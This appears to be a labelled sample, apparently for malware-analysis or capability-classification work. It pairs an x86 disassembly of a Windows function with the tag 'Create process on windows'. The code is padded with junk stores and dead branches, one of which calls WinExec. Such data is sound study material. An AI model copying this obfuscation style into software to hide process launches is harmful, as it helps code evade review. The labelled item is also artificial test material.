Function at 0x10041c9b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 8], 0xfffffffb
push ebx
push esi
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0xc], ebx
push edi
xor edi, edi
inc edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 0x2623ee1e
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x14], 0x74dcce65
mov dword [ebp - 0x14], 0x6842
mov dword [ebp - 8], 0x11
jmp 0x10041d29
mov dword [ebp - 0xc], 9
mov dword [ebp - 0x14], 0x3e31551d
mov dword [ebp - 0xc], 0x12
jmp 0x10041d20
mov dword [ebp - 0x14], 0x4ebb0cb8
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x10041d17
push 0x1463
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xc
jge 0x10041cfc
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffea
je 0x10041ce5
mov dword [ebp - 0xc], ebx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp dword [ebp - 8], ebx
je 0x10041d40
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jne 0x10041d4d
cmp dword [ebp - 8], ebx
je 0x10041d4f
mov eax, edi
xor edx, edx
cmp eax, 0xe717
mov eax, dword [ebp - 8]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 8]
cmp eax, dword [ebp - 8]
jne 0x10041d75
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], edi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 8]
setl dl
xor ecx, ecx
cmp eax, edx
push 0x5bec
setle cl
xor edx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
cmp eax, ecx
push edi
setl dl
xor eax, eax
cmp edx, 0x43b5
mov dword [ebp - 0x34], edx
push esi
setle al
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
call fcn.1003d241
mov dword [ebp - 0x14], edi
add esp, 0xc
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], 0x432a2768
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], 0x5010f7a7
mov dword [ebp - 0x14], 0x8bd4dfbd
mov dword [ebp - 0x14], 0x2443
mov dword [ebp - 0x10], 0x282d564c
mov dword [ebp - 0xc], ebx
jmp 0x10041e07
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x20], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x10041dfd
inc dword [ebp - 0x10]
push esi
call fcn.10029e99
or edi, 0xffffffff
mov esi, eax
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], ebx
pop ecx
mov dword [ebp - 0xc], ebx
jmp 0x10041e35
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2c], 4
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x10041e27
mov dword [ebp - 0xc], ebx
jmp 0x10041e87
mov dword [ebp - 0x14], 0xfd4914d2
mov dword [ebp - 0x14], 0xb7cefa9d
mov dword [ebp - 0x14], 0xf38c0887
mov dword [ebp - 0x14], 0x9a695768
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], edi
dec dword [ebp - 0x10]
mov byte [ebp - 1], bl
cmp byte [ebp - 1], bl
je 0x10041e84
push ebx
push ebx
push 0x50b
push ebx
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 5
jge 0x10041e40
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret